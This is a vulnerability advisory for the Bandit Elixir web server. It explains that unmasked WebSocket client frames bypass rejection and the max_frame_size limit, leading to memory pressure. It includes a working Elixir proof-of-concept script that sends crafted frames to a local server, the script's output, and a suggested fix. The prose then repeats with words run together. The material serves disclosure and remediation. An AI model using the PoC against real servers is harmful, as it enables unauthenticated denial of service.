Summary
Bandit's WebSocket frame parser fails to reject client frames sent with the
mask bit clear. RFC 6455 §5.1 requires a server to fail the connection (close
code 1002) when it receives an unmasked frame from a client. Instead, Bandit
silently treats the frame as incomplete and keeps buffering, and because the
max_frame_size check is only reached once a frame length has been parsed, an
unmasked frame is never size-limited. A peer can therefore (a) violate the
protocol without being disconnected, and (b) stream data into a per-connection
buffer that grows without a frame-size bound until the socket read timeout
fires.
Severity Moderate. Unauthenticated. Protocol-conformance violation with a bounded
memory-pressure (DoS) consequence.
Details
lib/bandit/websocket/frame.ex:56-61:
def header_and_payload_length(
<<_fin::1, _compressed::1, _rsv::2, _opcode::4, 0::1, _rest::binary>>,
_max_frame_size
) do
{:error, :client_frame_without_mask}
end
This clause is intended to match any frame whose mask bit (the 0::1) is clear
and return {:error, :client_frame_without_mask}. But the fixed prefix is only
9 bits (1 + 1 + 2 + 4 + 1), and _rest::binary requires a whole number of
bytes. For any byte-aligned input of 8N bits the remainder is 8N − 9, which
is never a multiple of 8 — so this clause can never match. Compare the
masked clauses just above (frame.ex:31-54), whose prefixes are byte-aligned
because they include the 7-bit length field (e.g. ... 1::1, length::7, _mask::32, _rest::binary>> = 48-bit prefix). The unmasked clause omitted
length::7.
Unmasked frames therefore fall through to the :more fallback
(frame.ex:63-65), and Bandit.Extractor.push_data/2
(lib/bandit/extractor.ex:46-49) keeps appending received bytes to
state.header with no size cap. validate_max_frame_size/3 is only invoked
after a length field is parsed, which never happens for an unmasked frame, so
max_frame_size is never enforced on this path.
PoC
A real Bandit WebSocket echo server (max_frame_size: 100) driven by a raw TCP
client. Output:
=== 1. MASKED frame (RFC-compliant client) ===
handshake OK (101, valid Sec-WebSocket-Accept)
-> got echo: "hello" (handler processed the frame ✔)
=== 2. UNMASKED small frame (RFC 6455 §5.1: server MUST close 1002) ===
handshake OK (101, valid Sec-WebSocket-Accept)
-> BUG: no close, no echo — server silently buffered the frame and is waiting for more bytes
=== 3. UNMASKED frame declaring payload > max_frame_size (100) ===
-> BUG: 500-byte unmasked frame accepted with max_frame_size=100, no rejection (size check bypassed)
=== 4. Control: MASKED oversized frame IS rejected ===
-> server sent CLOSE code 1009 (masked oversized correctly rejected ✔)
Full script: poc_ws_unmasked.exs (attached). It performs a valid WebSocket
handshake, then sends (2) an unmasked text frame and (3) an unmasked
500-byte-payload frame against a server configured with max_frame_size: 100,
showing neither is rejected, while the control case (4) confirms the limit
works for masked frames.
To reproduce clone bandit, mix install and mix run poc_ws_unmasked.exs in bandit dir
# PoC: Bandit WebSocket accepts (silently buffers) unmasked client frames.
# RFC 6455 §5.1: a server MUST close (1002) on an unmasked client frame,
# and max_frame_size MUST bound buffering. Bandit does neither: the rejection
# clause in frame.ex:56-61 is byte-misaligned dead code, so unmasked frames
# fall through to :more and accumulate in the extractor's header buffer with
# no size check.
#
# Run: mix run poc_ws_unmasked.exs
defmodule Echo do
@behaviour WebSock
@impl true
def init(_), do: {:ok, nil}
@impl true
def handle_in({data, opcode: :text}, state), do: {:push, {:text, data}, state}
def handle_in(_, state), do: {:ok, state}
@impl true
def terminate(_reason, _state), do: :ok
end
defmodule Router do
use Plug.Router
plug :match
plug :dispatch
get "/ws" do
conn
|> WebSockAdapter.upgrade(Echo, [], timeout: 5_000)
|> halt()
end
match _ do
send_resp(conn, 404, "no")
end
end
# WebSockAdapter isn't a dep here; do the upgrade via Bandit's Plug API directly.
defmodule DirectRouter do
import Plug.Conn
def init(o), do: o
def call(%{request_path: "/ws"} = conn, _) do
conn
|> upgrade_adapter(:websocket, {Echo, [], [max_frame_size: 100, timeout: 5_000]})
|> halt()
end
def call(conn, _), do: send_resp(conn, 404, "no")
end
port = 4567
{:ok, _} = Bandit.start_link(plug: DirectRouter, scheme: :http, port: port, ip: :loopback)
defmodule Client do
@guid "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
def connect(port) do
{:ok, s} = :gen_tcp.connect(~c"127.0.0.1", port, [:binary, active: false, packet: :raw])
key = Base.encode64(:crypto.strong_rand_bytes(16))
req =
"GET /ws HTTP/1.1\r\n" <>
"Host: localhost\r\n" <>
"Connection: Upgrade\r\n" <>
"Upgrade: websocket\r\n" <>
"Sec-WebSocket-Version: 13\r\n" <>
"Sec-WebSocket-Key: #{key}\r\n\r\n"
:ok = :gen_tcp.send(s, req)
{:ok, resp} = :gen_tcp.recv(s, 0, 2000)
expected = :crypto.hash(:sha, key <> @guid) |> Base.encode64()
true = String.contains?(resp, "101 Switching Protocols")
true = String.contains?(resp, expected)
IO.puts("handshake OK (101, valid Sec-WebSocket-Accept)")
s
end
# opcode 0x1 = text, FIN set
def masked_text(payload) do
mask = :crypto.strong_rand_bytes(4)
masked = apply_mask(payload, mask)
len = byte_size(payload)
true = len <= 125
<<0x81, 1::1, len::7>> <> mask <> masked
end
def unmasked_text(payload) do
len = byte_size(payload)
true = len <= 125
<<0x81, 0::1, len::7>> <> payload
end
# 126 => 16-bit extended length; still under our test buffer target
def unmasked_text_long(payload) do
len = byte_size(payload)
<<0x81, 0::1, 126::7, len::16>> <> payload
end
defp apply_mask(data, mask) do
for {b, i} <- Enum.with_index(:binary.bin_to_list(data)), into: <<>> do
m = :binary.at(mask, rem(i, 4))
<<Bitwise.bxor(b, m)>>
end
end
def recv(s, timeout), do: :gen_tcp.recv(s, 0, timeout)
end
IO.puts("\n=== 1. MASKED frame (RFC-compliant client) ===")
s1 = Client.connect(port)
:ok = :gen_tcp.send(s1, Client.masked_text("hello"))
case Client.recv(s1, 1500) do
{:ok, <<0x81, _len, rest::binary>>} -> IO.puts(" -> got echo: #{inspect(rest)} (handler processed the frame ✔)")
other -> IO.puts(" -> unexpected: #{inspect(other)}")
end
:gen_tcp.close(s1)
IO.puts("\n=== 2. UNMASKED small frame (RFC 6455 §5.1: server MUST close 1002) ===")
s2 = Client.connect(port)
:ok = :gen_tcp.send(s2, Client.unmasked_text("hello"))
case Client.recv(s2, 1500) do
{:ok, <<0x88, l, code::16, _::binary>>} when l >= 2 ->
IO.puts(" -> server sent CLOSE code #{code} (compliant)")
{:ok, <<0x81, _len, rest::binary>>} ->
IO.puts(" -> server ECHOED unmasked frame: #{inspect(rest)} (also wrong — accepted it)")
{:error, :timeout} ->
IO.puts(" -> BUG: no close, no echo — server silently buffered the frame and is waiting for more bytes")
other ->
IO.puts(" -> #{inspect(other)}")
end
IO.puts("\n=== 3. UNMASKED frame declaring payload > max_frame_size (100) ===")
IO.puts(" A masked oversized frame is rejected; an unmasked one bypasses the check entirely.")
big = String.duplicate("A", 500)
:ok = :gen_tcp.send(s2, Client.unmasked_text_long(big))
case Client.recv(s2, 1500) do
{:ok, <<0x88, l, code::16, _::binary>>} when l >= 2 ->
IO.puts(" -> server sent CLOSE code #{code}")
{:error, :timeout} ->
IO.puts(" -> BUG: 500-byte unmasked frame accepted with max_frame_size=100, no rejection (size check bypassed)")
other ->
IO.puts(" -> #{inspect(other)}")
end
:gen_tcp.close(s2)
IO.puts("\n=== 4. Control: MASKED oversized frame IS rejected (shows the limit works when the clause matches) ===")
s3 = Client.connect(port)
# masked 200-byte frame (126 extended len), payload > max_frame_size 100
big2 = String.duplicate("B", 200)
mask = :crypto.strong_rand_bytes(4)
masked = for {b, i} <- Enum.with_index(:binary.bin_to_list(big2)), into: <<>> do
<<Bitwise.bxor(b, :binary.at(mask, rem(i, 4)))>>
end
frame = <<0x81, 1::1, 126::7, byte_size(big2)::16>> <> mask <> masked
:ok = :gen_tcp.send(s3, frame)
case Client.recv(s3, 1500) do
{:ok, <<0x88, l, code::16, _::binary>>} when l >= 2 -> IO.puts(" -> server sent CLOSE code #{code} (masked oversized correctly rejected ✔)")
{:error, :closed} -> IO.puts(" -> connection closed (rejected)")
other -> IO.puts(" -> #{inspect(other)}")
end
:gen_tcp.close(s3)
IO.puts("\nDone.")
Suggested fix:
Include the length octet so the clause is byte-aligned and actually matches,
e.g.:
def header_and_payload_length(
<<_fin::1, _compressed::1, _rsv::2, _opcode::4, 0::1, _len::7, _rest::binary>>,
_max_frame_size
) do
{:error, :client_frame_without_mask}
end
Separately, consider bounding the extractor's header-parsing buffer
independently of max_frame_size so no unparsed prefix can grow without limit.
Impact
- RFC 6455 §5.1 violation: the server does not fail the connection (close
1002) on an unmasked client frame; it silently waits for more data to
"complete" an already-complete frame.
- Frame-size limit bypass / memory pressure: an unmasked frame is never
bounded by max_frame_size; the extractor's header buffer grows with every
byte the peer sends, bounded only by the socket idle/read timeout (default
~60 s). Across many connections this is an unauthenticated memory-pressure
vector. (It is time-boxed by the read timeout, so it is not an unbounded
leak.)
Real browsers and the Autobahn compliance suite always mask client frames, so
this latent defect is not exercised by conformance testing.
Summary
Bandit's WebSocket frame parser fails to reject client frames sent with the
mask bit clear. RFC 6455 §5.1 requires a server to fail the connection (close
code 1002) when it receives an unmasked frame from a client. Instead, Bandit
silently treats the frame as incomplete and keeps buffering, and because the
max_frame_sizecheck is only reached once a frame length has been parsed, anunmasked frame is never size-limited. A peer can therefore (a) violate the
protocol without being disconnected, and (b) stream data into a per-connection
buffer that grows without a frame-size bound until the socket read timeout
fires.
Severity Moderate. Unauthenticated. Protocol-conformance violation with a bounded
memory-pressure (DoS) consequence.
Details
lib/bandit/websocket/frame.ex:56-61:This clause is intended to match any frame whose mask bit (the
0::1) is clearand return
{:error, :client_frame_without_mask}. But the fixed prefix is only9 bits (
1 + 1 + 2 + 4 + 1), and_rest::binaryrequires a whole number ofbytes. For any byte-aligned input of
8Nbits the remainder is8N − 9, whichis never a multiple of 8 — so this clause can never match. Compare the
masked clauses just above (
frame.ex:31-54), whose prefixes are byte-alignedbecause they include the 7-bit length field (e.g.
... 1::1, length::7, _mask::32, _rest::binary>>= 48-bit prefix). The unmasked clause omittedlength::7.Unmasked frames therefore fall through to the
:morefallback(
frame.ex:63-65), andBandit.Extractor.push_data/2(
lib/bandit/extractor.ex:46-49) keeps appending received bytes tostate.headerwith no size cap.validate_max_frame_size/3is only invokedafter a length field is parsed, which never happens for an unmasked frame, so
max_frame_sizeis never enforced on this path.PoC
A real Bandit WebSocket echo server (
max_frame_size: 100) driven by a raw TCPclient. Output:
Full script:
poc_ws_unmasked.exs(attached). It performs a valid WebSockethandshake, then sends (2) an unmasked text frame and (3) an unmasked
500-byte-payload frame against a server configured with
max_frame_size: 100,showing neither is rejected, while the control case (4) confirms the limit
works for masked frames.
To reproduce clone bandit, mix install and mix run poc_ws_unmasked.exs in bandit dir
Suggested fix:
Include the length octet so the clause is byte-aligned and actually matches,
e.g.:
Separately, consider bounding the extractor's header-parsing buffer
independently of
max_frame_sizeso no unparsed prefix can grow without limit.Impact
1002) on an unmasked client frame; it silently waits for more data to
"complete" an already-complete frame.
bounded by
max_frame_size; the extractor's header buffer grows with everybyte the peer sends, bounded only by the socket idle/read timeout (default
~60 s). Across many connections this is an unauthenticated memory-pressure
vector. (It is time-boxed by the read timeout, so it is not an unbounded
leak.)
Real browsers and the Autobahn compliance suite always mask client frames, so
this latent defect is not exercised by conformance testing.